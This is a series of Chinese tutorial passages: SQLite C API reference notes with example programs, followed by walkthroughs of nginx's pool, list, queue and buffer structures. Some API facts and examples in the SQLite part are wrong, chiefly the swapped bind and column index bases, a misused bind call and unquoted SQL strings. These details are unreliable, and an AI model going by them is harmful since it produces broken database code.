int sqlite3_step(sqlite3_stmt *stmt);

调用一次或者多次被编译的语句句柄。  
Return: SQLITE_BUSY，SQLITE_DONE，SQLITE_ROW，SQLITE_ERROR，SQLITE_MISUSE。  
SQLITE_BUSY: 忙碌. 数据库引擎无法锁定数据去完成其工作. 但可以多次尝试.  
SQLITE_DONE: 完成. sql 语句已经被成功地执行.在调用 sqlite_reset() 之前,当前预编译的语句不应该被sqlite3_step()再次调用.  
SQLITE_ROW: 查询时产生了结果. 此时可以通过相关的"数据访问函数(column access functions)"来取得数据. sqlite3_step()可再一次调用将取得下一条查询结果.  
SQLITE_ERROR: 发生了错误. 此时可以通过 sqlite3_errmmsg() 取得相关的错误信息. sqlite3_step() 不能被再次调用.  
SQLITE_MISUSE: 不正确的库的使用. 该函数使用不当.

1.4 sqlite3_reset

int sqlite3_reset (sqlite3_stmt *stmt);

sqlite3_reset用于重置一个准备语句对象到它的初始状态，然后准备被重新执行。所有sql语句变量使用sqlite3_bind_XXX绑定值，使用sqlite3_clear_bindings清除这些绑定。Sqlite3_reset接口重置准备语句到它代码开始的时候。sqlite3_reset并不改变在准备语句上的任何绑定值，那么这里猜测，可能是语句在被执行的过程中发生了其他的改变，然后这个语句将它重置到绑定值的时候的那个状态。  
Return: SQLITE_BUSY,SQLITE_DONE，SQLITE_ROW。  
SQLITE_BUSY: 暂时无法执行操作.  
SQLITE_DONE: 操作执行完毕.  
SQLITE_ROW: 执行完毕并且有返回（执行select语句时）;需要对查询结果进行处理，SQLITE3提供sqlite3_column_*系列函数.

1.5 sqlite3_exec

int sqlite3_exec(
    sqlite3*,                                  /* An open database */
    const char *sql,                           /* SQL to be evaluated */
    int (*callback)(void*,int,char**,char**),  /* Callback function */
    void *,                                    /* 1st argument to callback */
    char **errmsg                              /* Error msg written here */
);

该函数用来执行多条以“;”分隔的 SQL 语句。封装了 sqlite3_prepare(), sqlte3_step() 和 sqlite3_finalize() 函数。  
First: 数据库连接句柄。  
Second: 将要被编译的SQL语句。  
Third: 回调函数，若该函数非空，则每次SQL语法的结果都会调用该函数，若为空，则将被忽略。  
Forth: 回调函数的第一个参数。  
Fifth: 存储错误信息，可为NULL;  
Return: 返回非零，该函数立即中断查询，并不再执行后续的SQL语句和回调函数;返回SQLITE_ABORT结束执行。

int callback(void *, int argc, char **argv, char **azColName);

First: 为sqlite3_exec中的第四个参数，即你所传递的参数。  
Second: 执行SQL语法所产生的列元素个数。  
Third: 执行SQL语法所产生的列元素列表，argv[i]代表第i个元素。  
Forth: 执行SQL语法每行中各列的列名。

1.6 sqlite3_bind_XXX

int sqlite3_bind_double(sqlite3_stmt*, int, double);
int sqlite3_bind_int(sqlite3_stmt*, int, int);
int sqlite3_bind_null(sqlite3_stmt*, int);
int sqlite3_bind_text(sqlite3_stmt*,int,const char*,int,void(*)(void*));

给参数绑定值。  
First: 指向一个被编译的语句句柄，它可被sqlite3_step执行。执行错误或者输入的zSql为空字符，*ppStmt为NULL，用sqlite3_finalize来释放它。  
Second: SQL参数(每列元素)的索引，从0开始.  
Third: 字符串值。  
Forth: 字符串长度。  
Fifth: 一个函数指针，SQLITE3执行完操作后回调此函数，通常用于释放字符串占用的内存。此参数有两个常数，SQLITE_STATIC告诉sqlite3_bind_text函数字符串为常量，可以放心使用；而SQLITE_TRANSIENT会使得sqlite3_bind_text函数对字符串做一份拷贝。

1.7 sqlite3_column_XXX

double sqlite3_column_double(sqlite3_stmt*, int iCol);
int sqlite3_column_int(sqlite3_stmt*, int iCol);
const unsigned char *sqlite3_column_text(sqlite3_stmt*, int iCol);
int sqlite3_column_type(sqlite3_stmt*, int iCol);

这类函数从sqlite3_step()返回的结果集中提取某一列。  
First: 指向一个被编译的语句句柄，它可被sqlite3_step执行。执行错误或者输入的zSql为空字符，*ppStmt为NULL，用sqlite3_finalize来释放它。  
Second: SQL参数(每列元素)的索引，从1开始.

2、示例

2.1 打开数据库

#include <sqlite3.h>
#include <stdio.h>

int main(void)
{
    sqlite3 *db;
        sqlite3_stmt *res;
    
    int rc = sqlite3_open("lab.db", &db);
    
    if (rc != SQLITE_OK) {
        fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
            sqlite3_close(db);
            return 1;
        }
   
    sqlite3_close(db);
        printf ("Succeed to open the database!\n");
    return 0;
}

$ gcc -o open open.c -lsqlite3
$ ./open
Succeed to open the database!

2.2 创建目标数据表

#include <sqlite3.h>
#include <stdio.h>

int main ()
{
    sqlite3    *db;
        sqlite3_stmt *res;
    
    int rc = sqlite3_open("lab.db", &db);
    
    if (rc != SQLITE_OK) {
                fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
                sqlite3_close(db);       
                return 1;
        }
        
    char *SQL = "CREATE TABLE IF NOT EXISTS testtable (ID INTEGER PRIMARY KEY, name TEXT, gender TEXT, age REAL, value REAL)";

        if(sqlite3_prepare_v2(db, SQL, -1, &res, 0)) {
                printf("Failed to create table!\n");
                if (res)
                        sqlite3_finalize(res);
                sqlite3_close(db);
                return 1;
        }

        if (sqlite3_step(res) != SQLITE_DONE) {
                sqlite3_finalize(res);
                sqlite3_close(db);
                return 1;
        }
        sqlite3_finalize(res);
        printf ("Succeed to create testtable now.\n");
        sqlite3_close(db);
        
        return 0;
}

$ gcc -o create create.c -lsqlite3
$ ./create
Succeed to create testtable now!

2.3 数据表操作

#include <sqlite3.h>
#include <stdio.h>

int main ()
{
    sqlite3    *db;
        sqlite3_stmt *res;
    
    int rc = sqlite3_open("lab.db", &db);
    
    if (rc != SQLITE_OK) {
                fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
                sqlite3_close(db);       
                return 1;
        }
        
        char *err_msg = 0;
    
    /* 想实现哪项功能，就将注释去掉 */
    //char *SQL = "INSERT INTO testtable VALUES(NULL, 'xiao', 'male', 100, 0.1)";//向数据表中插入一条数据
        //char *SQL = "DELETE FROM testtable WHERE gender = males AND age = 26";//删除数据表中的多条数据
        //char *SQL = "DELETE FROM testtable";//删除数据表中所有数据
        //char *SQL = "UPDATE testtable SET gender = female,age=30 WHERE ID = 1";//更新数据表中的多条数据
    //char *SQL = "DROP TABLE IF EXISTS testtable";//删除数据表
        
        int rc2 = sqlite3_exec(db, SQL, 0, 0, &err_msg);

        if(rc2 != SQLITE_OK) {
                fprintf(stderr, "Failed to drop table\n");
                fprintf(stderr, "SQL error: %s\n", err_msg);
                sqlite3_free(err_msg);
                sqlite3_close(db);
                return;
        }
        
        sqlite3_close(db);
        printf ("Succeed!\n");
        return 0;
}

$ gcc -o table table.c -lsqlite3
$ ./table
Succeed!

2.4 批量插入数据

#include <sqlite3.h>
#include <stdio.h>
#include <string.h>

int main ()
{
    sqlite3    *db;
    
    int rc = sqlite3_open("lab.db", &db);
    
    if (rc != SQLITE_OK) {
                fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
                sqlite3_close(db);       
                return 1;
        }

        /* 手动开启事物 */
        sqlite3_stmt* stmtb = NULL;
        const char* beginSQL = "BEGIN TRANSACTION";
        if (sqlite3_prepare_v2(db,beginSQL,strlen(beginSQL),&stmtb,NULL) != SQLITE_OK) {
                if (stmtb)
                        sqlite3_finalize(stmtb);
                sqlite3_close(db);
                return 1;
        }
        if (sqlite3_step(stmtb) != SQLITE_DONE) {
                sqlite3_finalize(stmtb);
                sqlite3_close(db);
                return 1;
        }
        sqlite3_finalize(stmtb);
        /*****************************/
        
        char *err_msg = 0;
        char *sql = "INSERT INTO testtable VALUES(NULL, ?, ?, ?, ?)";
        sqlite3_stmt *stmt = NULL;
        if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
                if (stmt)
                        sqlite3_finalize(stmt);
                sqlite3_close(db);
                return 1;
        }

        char *name = "xiao";
        char *m = "male";
        char *f = "female";
        
        for (int i = 1; i <= 10; i++) {
                sqlite3_bind_null (stmt, 0);
                sqlite3_bind_text(stmt, 1, name, -1, SQLITE_TRANSIENT);
                if(i % 2 == 0)
                        sqlite3_bind_text(stmt, 2, m, -1, SQLITE_TRANSIENT);
                else
                        sqlite3_bind_text(stmt, 2, f, -1, SQLITE_TRANSIENT);
                sqlite3_bind_int(stmt, 3, i + 24);
                double fl = i * 9.9;
                sqlite3_bind_double(stmt, 4, fl);
                if (sqlite3_step(stmt) != SQLITE_DONE) {
                        sqlite3_finalize(stmt);
                        sqlite3_close(db);
                        return 1;
                }
                sqlite3_reset(stmt);
        }
        sqlite3_finalize(stmt);

        /* 手动关闭事物 */
        sqlite3_stmt* stmtc = NULL;
        const char *commitSQL = "COMMIT TRANSACTION";
        if (sqlite3_prepare_v2(db,commitSQL,strlen(commitSQL),&stmtc,NULL) != SQLITE_OK) {
                if (stmtc)
                        sqlite3_finalize(stmt);
                sqlite3_close(db);
                return 1;
        }
        if (sqlite3_step(stmtc) != SQLITE_DONE) {
                sqlite3_finalize(stmtc);
                sqlite3_close(db);
                return 1;
        }
        sqlite3_finalize(stmtc);
        /*********************************/
        
        sqlite3_close(db);
        
        return 0;
}

$ gcc -o insert_datas insert_datas.c -lsqlite3
$ ./insert_data
$ sqlite3 lab.db
sqlite3> SELECT * FROM testtable;
1|xiao|female|25.0|9.9
2|xiao|male|26.0|19.8
3|xiao|female|27.0|29.7
4|xiao|male|28.0|39.6
5|xiao|female|29.0|49.5
6|xiao|male|30.0|59.4
7|xiao|female|31.0|69.3
8|xiao|male|32.0|79.2
9|xiao|female|33.0|89.1
10|xiao|male|34.0|99.0

2.5 显示数据表的数据(non call_back)

#include <sqlite3.h>
#include <stdio.h>
#include <string.h>

int main ()
{
    sqlite3    *db;
    
    int rc = sqlite3_open("lab.db", &db);
    
    if (rc != SQLITE_OK) {
                fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
                sqlite3_close(db);       
                return 1;
        }
        
        const char *sql = "SELECT * FROM testtable";
        sqlite3_stmt *stmt = NULL;
        if (sqlite3_prepare_v2(db, sql, -1, &stmt, NULL) != SQLITE_OK) {
                if (stmt)
                        sqlite3_finalize(stmt);
                sqlite3_close(db);
                return 1;
        }

        int fieldcout = sqlite3_column_count (stmt);
        do {
                int r = sqlite3_step(stmt);
                if (r == SQLITE_ROW) {
                        int i;
                        for (i = 0; i < fieldcout; ++i) {
                                int vtype = sqlite3_column_type(stmt, i);
                                if (vtype == SQLITE_INTEGER) {
                                        int v = sqlite3_column_int(stmt, i);
                                        printf ("%d\n", v);
                                } else if (vtype == SQLITE_FLOAT) {
                                        double v = sqlite3_column_double(stmt, i);
                                        printf ("%f\n", v);
                                } else if (vtype == SQLITE_TEXT) {
                                        const char *v = (const char *)sqlite3_column_text(stmt, i);
                                        printf("%s\n", v);
                                } else if (vtype == SQLITE_NULL) {
                                        printf ("NULL\n");
                                }
                        }
                } else if (r == SQLITE_DONE) {
                        printf ("Select finish.\n");
                        break;
                } else {
                        printf ("Failed to select.\n");
                        sqlite3_finalize(stmt);
                        sqlite3_close(db);
                        return 1;
                }
        } while (1);
        sqlite3_finalize(stmt);        
        
        sqlite3_close(db);
        
        return 0;
}

$ gcc -o select select.c -lsqlite3
$ ./select
1
xiao
female
25.000000
9.900000
2
xiao
male
26.000000
19.800000
...
...
...
10
xiao
male
34.000000
99.000000

2.6 call_back

#include <sqlite3.h>
#include <stdio.h>

int callback(void *, int, char **, char **);

int main(void) {
        sqlite3 *db;
        char *err_msg = 0;

        int rc = sqlite3_open("lab.db", &db);

        if(rc != SQLITE_OK) {
                fprintf(stderr, "Cannot open database: %s\n", sqlite3_errmsg(db));
                sqlite3_close(db);

                return 1;
        }

        char *sql = "PRAGMA table_info(testtable)";

        rc = sqlite3_exec(db, sql, callback, 0, &err_msg);

        if(rc != SQLITE_OK) {
                fprintf(stderr, "Failed to select data\n");
                fprintf(stderr, "SQL error: %s\n", err_msg);

                sqlite3_free(err_msg);
                sqlite3_close(db);

                return 1;
        }

        sqlite3_close(db);

        return 0;
}

int callback(void *NotUsed, int argc, char **argv, char **azColName) {
        NotUsed = 0;
        int i;
        for (i = 0; i < argc; i++) {
                printf ("%s = %s\n", azColName[i], argv[i]?argv[i]:"NULL");
        }

        printf("\n");

        return 0;
}

$ gcc -o callback callback.c -lsqlite3
$ ./callback
cid = 0
name = ID
type = INTEGER
notnull = 0
dflt_value = NULL
pk = 1
...
...
...
cid = 4
name = value
type = REAL
notnull = 0
dflt_value = NULL
pk = 0
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主要作用分析


提供了一种机制，帮助进行资源管理（内存、文件）。可以类比C++中的RAII机制。


以内存管理为例，通常是手工进行malloc/free，这种做法的优点是灵活、高效，缺点是容易出错，造成内存泄漏以及各种莫名其妙的BUG。


因此，在C/C++中正确的管理内存一直是最棘手的问题。


C++中提供了RAII机制和智能指针来解决这个问题。Nginx采用C语言开发，实现了一套用来管理资源的机制。这就是nginx pool。


数据结构


ngx_pool_data_t


typedef struct {
    u_char               *last;
    u_char               *end;
    ngx_pool_t           *next;
    ngx_uint_t            failed;
} ngx_pool_data_t;



首先看一个示意图：



last指针表示ngx_pool_data_t所管理的内存block中已使用的内存的末尾地址，这也是下次分配的起始地址。


end指针表示ngx_pool_data_t所管理的内存block的尾地址，该指针在分配此block时确定，用来标记last的边界值。


next用来指向下一个ngx_pool_data_t的内存block地址，用于形成block链表。
failed用来标记该block使用时分配失败次数。


ngx_pool_data_t的管理和使用


围绕核心数据结构ngx_pool_data_t, Nginx是如何管理和使用的呢？


本篇主要从以下几个方面说明：

1) 如何初始化ngx_pool_data_t链表；

2) 如何向链表增加ngx_pool_data_t节点。

3) 如何回收/销毁ngx_pool_data_t节点及链表


初始化ngx_pool_data_t链表


基本思路：



	所谓初始化ngx_pool_data_t链表就是申请一段内存block，然后将该block指针void* p转成ngx_pool_data_t*类型的指针，这样，就可以利用ngx_pool_data_t*指针来管理这段block，而这个block就是ngx_pool_data_t链表的节点。

	当然要能够正确管理block还需要初始化ngx_pool_data_t的成员变量last、end、next、failed。这样，通过ngx_pool_data_t指针，可以获取管理ngx_pool_data_t链表节点的能力


	但是现在我们还没有管理整个ngx_pool_data_t链表的能力，那么如何做呢？通过在内存block的起始部分添加last、end、next、failed等信息可以管理一段内存。相应地，通过在ngx_pool_data_t链表第一个节点添加管理链表的信息，就可以管理整个链表。



同时，由于链表第一个节点只是一个特殊的节点所以，负责管理节点的结构体ngx_pool_data_t应该是的负责管理链表结构体节点的子集


在Nginx源码中这个管理链表的结构体就是：ngx_pool_s，其结构体定义为：


struct ngx_pool_s {
    ngx_pool_data_t       d;
    size_t                max;
    ngx_pool_t           *current;
    ngx_chain_t          *chain;
    ngx_pool_large_t     *large;
    ngx_pool_cleanup_t   *cleanup;
    ngx_log_t            *log;
};



其中，d是ngx_pool_data_t用来管理节点本身，而其他变量则用来管理链表。



	
current用来指示链表中当前正在使用的节点;

	
chain用来在节点上挂接filter链表；

	
cleanup用来注册资源回收handler等；

	
large是与节点大内存、小内存有关，这里暂不分析。



通过以上分析，可知，ngx_pool_s是管理整个ngx_pool_data_t链表，同时也能够管理所在的链表节点。


在Nginx源码里，申请的block指针为void*统一转成ngx_pool_s*，这样，在链表第一个节点，通过ngx_pool_s*管理整个链表及节点本身，在其他节点，通过ngx_pool_s*管理节点本身。


根据以上思路，可以很容易明白Nginx源码里关于创建ngx_pool_data_t链表的代码


函数声明: Ngx_palloc.h


ngx_pool_t *ngx_create_pool(size_t size, ngx_log_t *log);



说明：


输入要分配的ngx_pool_t节点block大小size，返回一个ngx_pool_t*的指针。该指针既用来管理链表，也用来管理节点block本身。

因此，后续链表的插入，删除都是通过操作该指针来完成，而使用链表第一个节点的block也是通过该指针来完成。


函数定义: Ngx_palloc.c


ngx_pool_t *
ngx_create_pool(size_t size, ngx_log_t *log)
{
    ngx_pool_t  *p;

    // 申请内存block，为提高效率，进行了对齐
    // 转成ngx_pool_t*指针
    p = ngx_memalign(NGX_POOL_ALIGNMENT, size, log);  
    if (p == NULL) {
        return NULL;
    }

    // 初始化ngx_pool_data_t用来管理节点block本身
    p->d.last = (u_char *) p + sizeof(ngx_pool_t);
    p->d.end = (u_char *) p + size;
    p->d.next = NULL;
    p->d.failed = 0;

    // 为提高效率能使用的block最大值为NGX_MAX_ALLOC_FROM_POOL
    // 输入size最小值为sizeof(ngx_pool_t)，输入小于该值会造成nginx崩溃
    size = size - sizeof(ngx_pool_t);
    p->max = (size < NGX_MAX_ALLOC_FROM_POOL) ? size : NGX_MAX_ALLOC_FROM_POOL;

    // 初始时，链表current指向自身
    p->current = p;
    p->chain = NULL;
    p->large = NULL;
    p->cleanup = NULL;
    p->log = log;

    return p;
}



向链表增加ngx_pool_data_t节点


基本思路：


上一小节中关于如何初始化ngx_pool_data_t链表的思路，可以基本套用到增加ngx_pool_data_t节点中来，只是在结构体ngx_pool_t成员变量初始化上有所区别。


直接上源码：


static void *
ngx_palloc_block(ngx_pool_t *pool, size_t size)
{
    // 输入变量pool用来表示整个链表
    u_char      *m;
    size_t       psize;
    ngx_pool_t  *p, *new;

    // 计算链表第一个节点的block大小
    psize = (size_t) (pool->d.end - (u_char *) pool);
    // 申请与链表第一个节点大小相同的内存block
    m = ngx_memalign(NGX_POOL_ALIGNMENT, psize, pool->log);
    if (m == NULL) {
        return NULL;
    }
    // 转为ngx_pool_t*类型
    new = (ngx_pool_t *) m;
    // 初始化节点管理结构体ngx_pool_data_t
    new->d.end = m + psize;
    new->d.next = NULL;
    new->d.failed = 0;
    // 为了效率，对ngx_pool_data_t的last变量进行对齐操作
    m += sizeof(ngx_pool_data_t);
    m = ngx_align_ptr(m, NGX_ALIGNMENT);
    new->d.last = m + size;
    // 将第一个链表节点用于操作链表的pool指针的current变量指向当前节点
    for (p = pool->current; p->d.next; p = p->d.next) {
        if (p->d.failed++ > 4) {
            pool->current = p->d.next;
        }
    }

    p->d.next = new;

    return m;
}




当然，在使用时，Nginx并不是直接使用ngx_palloc_block来操作链表，而是使用ngx_palloc

原因在于，使用ngx_create_pool和ngx_palloc_block构造链表之后，我们得到的是多个连续的内存块组成的列表，这些内存块大小相同，其大小为调用ngx_create_pool传入的size值或NGX_MAX_ALLOC_FROM_POOL。


而在实际使用时malloc的大小不一定等于这些内存块的大小，所以，需要提供一个接口，能够从ngx_pool_t链表中获取需要大小的内存。


这个函数就是ngx_palloc


基本思路：


如果要获取的内存大小大于ngx_pool_t节点的大小，那么属于创建大内存，调用ngx_palloc_large(pool, size)。这里我们暂不分析大内存的问题。


如果要获取的内存小于ngx_pool_t节点的大小，那么尝试从当前节点分配。


这里分两种情况：



	当前节点剩余空间足够的情况，直接分配；

	当前节点剩余空间不足的情况，创建一个新节点，并将新节点分配



P.S 这里的分配就是返回指针


函数声明：


void *ngx_palloc(ngx_pool_t *pool, size_t size);



函数定义：


void *
ngx_palloc(ngx_pool_t *pool, size_t size)
{
    u_char      *m;
    ngx_pool_t  *p;
    // 获取内存小于链表节点内存的情况
    if (size <= pool->max) {

        p = pool->current;
        // 尝试从当前节点分配内存
        do {
            m = ngx_align_ptr(p->d.last, NGX_ALIGNMENT);

            if ((size_t) (p->d.end - m) >= size) {
                p->d.last = m + size;

                return m;
            }

            p = p->d.next;

        } while (p);
        // 新建一个节点并分配
        return ngx_palloc_block(pool, size);
    }
    // 获取内存小于链表节点内存的情况
    return ngx_palloc_large(pool, size);
}





今天先到这里，后续再补充或另起一篇写。
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主要作用分析


ngx_list_t是Nginx对通常的list这种数据结构重复的造轮子。


在本篇中，我们先来分析Nginx是如何造这个轮子的，然后对比说明，ngx_list_t和list有什么不同，最后再分析Nginx作者Igor Sysoev重复造轮子的原因。


数据结构


如果你看过我对ngx_pool_t的分析，很容易就会想到，构造一个list需要定义两个结构：



	
用于管理链表节点自身的结构体；


比如，可以这么定义


typedef struct list_s list_t;
typedef struct node_s node_t;
struct node_s {
    void     *elt;  // 节点使用的内存块起始位置；
    size_t    max;  // 节点内存块的大小；
    node_t   *next; // 下一个内存块的地址；
};




	
用于管理整个链表的结构体；


比如，可以这么定义


struct list_s {
    node_t    node;    //链表节点
    list_t    *curr;   //当前使用的链表节点
};






Nginx使用ngx_pool_t来管理内存的使用，所以向链表中增加元素时，就意味着需要使用ngx_pool_t的操作函数ngx_palloc。因此，增加一个元素，就对应一次ngx_palloc调用。


这是相对效率低下的操作方式。Nginx为了提高效率，做了这样的改动：



  初始化链表时，规定链表中元素的内存占用大小为size，一次性向ngx_pool_t内存池申请size * nelts大小的内存空间，作为链表的节点




示意图如下：





这样做的目的在于减少内存的申请次数，从而提高效率


基于以上分析，就很容易理解ngx_list_t结构体的含义。ngx_list_t 是用来管理整个链表的结构体。


typedef struct {
    ngx_list_part_t  *last;
    ngx_list_part_t   part;
    size_t            size;
    ngx_uint_t        nalloc;
    ngx_pool_t       *pool;
} ngx_list_t;



ngx_list_t各成员变量含义如下：



	
last：指向链表中最后一个ngx_list_part_t，用于管理整个链表，含义很明确。

	
part：链表第一个节点，表示一块连续的内存空间。

	
size：链表中每个节点中存放元素大小。

	
size：链表中每个节点可以存放的元素个数。

	
pool：链表使用的内存池。



ngx_list_part_t


typedef struct ngx_list_part_s  ngx_list_part_t;

struct ngx_list_part_s {
    void             *elts;
    ngx_uint_t        nelts;
    ngx_list_part_t  *next;
};




	
elts：链表节点使用的内存块地址。

	
nelts：当前链表节点已经存放的元素个数。

	
next：指向链表的下一个节点。




ngx_list_t的管理和使用


分两点来分析：


1）ngx_list_t的创建；

2）ngx_list_t添加元素；



ngx_list_t的创建


ngx_list_t的创建分成两部分：



	创建ngx_list_t结构体本身

	向ngx_pool_t申请ngx_list_t使用的内存空间




ngx_list_t结构体本身的创建


两种方式：



	在堆上创建，即，向ngx_pool_t申请空间。

	在栈上创建，即，直接创建ngx_pool_t局部变量。



在堆上创建调用函数：


ngx_list_t *
ngx_list_create(ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    ngx_list_t  *list;

    list = ngx_palloc(pool, sizeof(ngx_list_t));
    if (list == NULL) {
        return NULL;
    }

    if (ngx_list_init(list, pool, n, size) != NGX_OK) {
        return NULL;
    }

    return list;
}



与ngx_array_t的分析类似，调用该函数会自动向ngx_pool_t申请内存空间。


向ngx_pool_t申请ngx_list_t使用的内存空间


调用函数：


static ngx_inline ngx_int_t
ngx_list_init(ngx_list_t *list, ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    list->part.elts = ngx_palloc(pool, n * size);
    if (list->part.elts == NULL) {
        return NGX_ERROR;
    }

    list->part.nelts = 0;
    list->part.next = NULL;
    list->last = &list->part;
    list->size = size;
    list->nalloc = n;
    list->pool = pool;

    return NGX_OK;
}



很容易理解，不多解释了。


向ngx_list_t添加元素


因为ngx_list_t已经预先开辟了内存空间，所以，所谓的添加元素就是从ngx_list_t中分配出元素空间，并返回其指针。


void *
ngx_list_push(ngx_list_t *l)
{
    void             *elt;
    ngx_list_part_t  *last;

    last = l->last;
    // 当预开辟的空间不足的情况下，会向内存池重新申请空间
    if (last->nelts == l->nalloc) {

        /* the last part is full, allocate a new list part */

        last = ngx_palloc(l->pool, sizeof(ngx_list_part_t));
        if (last == NULL) {
            return NULL;
        }

        last->elts = ngx_palloc(l->pool, l->nalloc * l->size);
        if (last->elts == NULL) {
            return NULL;
        }

        last->nelts = 0;
        last->next = NULL;

        l->last->next = last;
        l->last = last;
    }

    elt = (char *) last->elts + l->size * last->nelts;
    last->nelts++;

    return elt;
}





ngx_list_t和list有什么不同


这个问题其实在上述的分析已经说了，这里作个总结：



	
ngx_list_t的链表节点不是list中的节点，而是将list中的节点作为元素，组成一个内存块，作为ngx_list_t的链表节点存在。

	
ngx_list_t使用ngx_pool_t内存池来管理内存。



为什么重复造ngx_list_t这么个轮子


一句话：为了提高效率。


通常list在使用过程中每个节点意味着一次内存申请，这是一种效率低下的内存使用方式，ngx_list_t使用一次申请一块内存的方式减少内存申请次数，提高效率。


 Nginx 源码分析：ngx_queue_t

作者：_Zhao

来源： Nginx 源码分析：ngx_queue_t



                    
源文件路径


版本：1.8.0


src\core\Ngx_queue.h
src\core\Ngx_queue.c



主要作用分析


ngx_queue_t是Nginx提供的双向链表。


通常意义上的双向链表是长成这个样子的：


struct double_link_s {
    int            node;
    double_link_t *prev;
    double_link_t *next;
};



包含三个要素：节点数据data，指向前一个节点的指针prev及指向后一下节点的指针next。


然后就是老生常谈的对于双向链表的创建、插入、删除等等。我就不详说了，自行google即可。


其实，如果你仔细观察一下，就会发现，对双向链表的操作基本都是围绕prev和next展开的，与节点数据data关系不大。


所以，将双向链表的操作抽象出来，形成与链表节点无关的抽象可以帮助我们更好的去操作各种节点类型的双向链表。


这种链表的特点是只有prev和next两个变量，没有表示链表节点的成员变量。因此，这种链表也被称为轻量级链表。


同时，由于这种链表没有节点成员变量，所以需要作为带有节点变量的结构体的成员变量存在，这种情况下，称这种链表为寄宿链表，链表所在结构体称为宿主。


举个栗子，就是长成这个样子：


typedef double_link_s double_link_t;
struct double_link_s {
    double_link_t *prev;
    double_link_t *next;
};

struct node_s {
    int             node;
    double_link_t   link;
}



简单来说，如果想将结构体作为链表节点，那么就将这种轻量级链表作为成员变量加入到自身。


示意图如下：





这样，操作链表就是操作链表中的轻量级链表，因此，可以定义出通用的链表结构。


在Nginx中，这个通用的双向链表结构就是ngx_queue_t。这不是Nginx发明的，在Linux内核中也使用这种链表。


数据结构


ngx_queue_t


根据上述分析，定义轻量级链表很简单。


typedef struct ngx_queue_s  ngx_queue_t;

struct ngx_queue_s {
    ngx_queue_t  *prev;
    ngx_queue_t  *next;
};




ngx_queue_t的管理和使用


既然是双向链表，那么关于双向链表的基本操作是相同的。所以，不需要多解释，直接看源码即可。



ngx_queue_t初始化


#define ngx_queue_init(q)                                                     \
    (q)->prev = q;                                                            \
    (q)->next = q



使用ngx_queue_t类型的变量q初始化链表，由于是初始化，因此prev和next均指向自身。q作为管理整个链表的空节点。


判断ngx_queue_t是否为空


#define ngx_queue_empty(h)                                                    \
    (h == (h)->prev)



插入操作


#define ngx_queue_insert_head(h, x)                                           \
    (x)->next = (h)->next;                                                    \
    (x)->next->prev = x;                                                      \
    (x)->prev = h;                                                            \
    (h)->next = x



虽然宏的名字叫insert_head，实际上可以是插入的通用操作。所以，在源码中有


#define ngx_queue_insert_after   ngx_queue_insert_head



这里跟正常的双链表插入操作没有区别。


如何获取链表节点


采用寄宿链表，一个绕不开的问题就是，如何根据链表获得节点的数据。



  这里解决的基本思路如下：

  
  
	
寄宿链表是链表节点结构体的一个成员变量，虽然结构体可能因为对齐的问题使得各个成员变量在空间上不连续，但是，整个结构体本身仍然可以看作一块连续的内存区域。

  	所以，可以利用offsetof宏计算出寄宿链表成员变量相对于结构体起始位置的偏移量


  	寄宿链表的起始地址 - 寄宿链表成员变量相对于结构体起始位置的偏移量 = 结构体的起始地址

  




所以，ngx_queue_t获取节点数据就利用了上述方法


#define ngx_queue_data(q, type, link)                                         \
    (type *) ((u_char *) q - offsetof(type, link))



其中q为寄宿链表变量，type为寄宿链表所在结构体的类型，link为寄宿链表在type结构体中的变量名。

这个宏返回宿主结构体的首地址。


获取双向链表中间节点


这属于双向链表操作的老梗了，就是使用了双指针，移动速度差一倍，速度快的指针到末尾时，速度慢的所在就是中间位置。


源码如下


ngx_queue_t *
ngx_queue_middle(ngx_queue_t *queue)
{
    ngx_queue_t  *middle, *next;

    middle = ngx_queue_head(queue);

    if (middle == ngx_queue_last(queue)) {
        return middle;
    }

    next = ngx_queue_head(queue);

    for ( ;; ) {
        middle = ngx_queue_next(middle);

        next = ngx_queue_next(next);

        if (next == ngx_queue_last(queue)) {
            return middle;
        }

        next = ngx_queue_next(next);

        if (next == ngx_queue_last(queue)) {
            return middle;
        }
    }
}



当然，还有其他操作，比如排序，移除等等。和常规的双向链表操作基本相同。

这里就不详细描述了。
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在分析nginx的功能之前，首先看一下nginx使用的一些基础的数据结构及其用法，这样才能更好的理解以后的代码。

typedef struct ngx_buf_s  ngx_buf_t;

typedef void *            ngx_buf_tag_t;

struct ngx_buf_s {
    u_char          *pos;
    u_char          *last;
    off_t            file_pos;
    off_t            file_last;

    u_char          *start;         /* start of buffer */

    u_char          *end;           /* end of buffer */
    ngx_buf_tag_t    tag;           /* 表示当前缓冲区的类型，如果是哪个模块使用就为该模块的ngx_module_t变量的地址 */
    ngx_file_t      *file;
    ngx_buf_t       *shadow;

    /* the buf's content could be changed */
    /* 临时内存标志位，表示当前buf在内存中并且是可以修改的 */
    unsigned         temporary:1;

    /* buf在内存中并且是不可以修改的＊/
    unsigned         memory:1;

    /* the buf's content is mmap()ed and must not be changed*/
    /* buf的内存空间是由mmap生成的，不可以被修改*/
    unsigned         mmap:1;

    unsigned         recycled:1;
    unsigned         in_file:1;
    unsigned         flush:1;
    unsigned         sync:1;
    unsigned         last_buf:1;
    unsigned         last_in_chain:1;

    unsigned         last_shadow:1;
    unsigned         temp_file:1;

    /* STUB */ int   num;

};

typedef struct ngx_chain_s ngx_chain_t;

struct ngx_chain_s {
    ngx_buf_t    *buf;
    ngx_chain_t  *next;
};

typedef struct {
    ngx_int_t    num;
    size_t       size;
} ngx_bufs_t;


其中要注意的是shadow指针，该指针用于指向原有的内存空间从而减少了nginx的内存消耗，该技术使用起来很高端，在能力低端的时候不要使用
在结构体中了start、end表示的是该块指定的内存的开始和结束，而position和last则是提醒程序本次使用的内存空间只有这些。
而ngx_bufs_t则应该是起到一个管理的作用，用于说明当前使用的bufs的数量和每个buf的存储空间的大小

#define  NGX_ERROR      -1     // ngx_core.h

#define NGX_CHAIN_ERROR     (ngx_chain_t *) NGX_ERROR

#define ngx_buf_in_memory(b)        (b->temporary || b->memory || b->mmap)
#define ngx_buf_in_memory_only(b)   (ngx_buf_in_memory(b) && !b->in_file)

#define ngx_buf_special(b)                                                   \
